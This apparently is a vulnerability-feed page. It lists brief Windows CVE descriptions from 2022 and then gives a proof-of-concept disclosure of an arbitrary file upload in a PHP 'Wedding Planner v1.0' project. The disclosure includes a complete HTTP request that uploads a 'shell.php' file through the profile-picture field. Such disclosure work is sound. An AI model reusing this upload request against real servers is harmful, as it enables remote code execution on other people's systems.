Windows Graphics Component Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-37997.

CVE-2022-38051

Windows Group Policy Preference Client Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-37993, CVE-2022-37994.

CVE-2022-37999

Windows Active Directory Certificate Services Security Feature Bypass.

CVE-2022-37978

Windows Storage Elevation of Privilege Vulnerability.

CVE-2022-38027

Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-24504, CVE-2022-30198, CVE-2022-33634, CVE-2022-38000, CVE-2022-38047, CVE-2022-41081.

CVE-2022-22035

Microsoft Windows Defender Elevation of Privilege Vulnerability.

CVE-2022-37971

Windows CryptoAPI Spoofing Vulnerability.

CVE-2022-34689

Windows Print Spooler Elevation of Privilege Vulnerability.

CVE-2022-38028

Authenticated (admin+) Reflected Cross-Site Scripting (XSS) vulnerability in Gabe Livan's Asset CleanUp: Page Speed Booster plugin <= 1.3.8.4 at WordPress.

CVE-2021-36899: Asset CleanUp: Page Speed Booster

Wedding Planner v1.0 is vulnerable to arbitrary code execution via users_profile.php.

Permalink

**Wedding Planner v1.0 by pushpam02 has arbitrary code execution (RCE)**

BUG\_Author：李趴菜

vendor: https://www.sourcecodester.com/php/15375/wedding-planner-project-php-free-download.html

Vulnerability url: http://ip/Wedding-Management-PHP/admin/blog\_events\_edit.php?id=31

Loophole location：The editing function of "Liam moore" module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of "users\_profile.php" file.

Click "Edit My Account" to save

Request package for file upload：

POST /Wedding\-Management\-PHP/admin/users\_profile.php HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/Wedding-Management-PHP/admin/users\_profile.php
Cookie: PHPSESSID=ncd6h7doujvbbft46r0m7mbr6s
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------11146289715390
Content-Length: 1065
\-----------------------------11146289715390
Content-Disposition: form-data; name="profile\_picture"; filename="shell.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
\-----------------------------11146289715390
Content-Disposition: form-data; name="firstname"
Liam
\-----------------------------11146289715390
Content-Disposition: form-data; name="lastname"
Moore
\-----------------------------11146289715390
Content-Disposition: form-data; name="email"
admin@mail.com
\-----------------------------11146289715390
Content-Disposition: form-data; name="username"
adminliam
\-----------------------------11146289715390
Content-Disposition: form-data; name="gender"
m
\-----------------------------11146289715390
Content-Disposition: form-data; name="address"
Grand Meadows
\-----------------------------11146289715390
Content-Disposition: form-data; name="designation"
0
\-----------------------------11146289715390
Content-Disposition: form-data; name="submit"
\-----------------------------11146289715390--

The files will be uploaded to this directory \\Wedding-Management-PHP\\admin\\upload\\users 

We visited the directory of the file in the browser and found that the code had been executed

Tag

#windows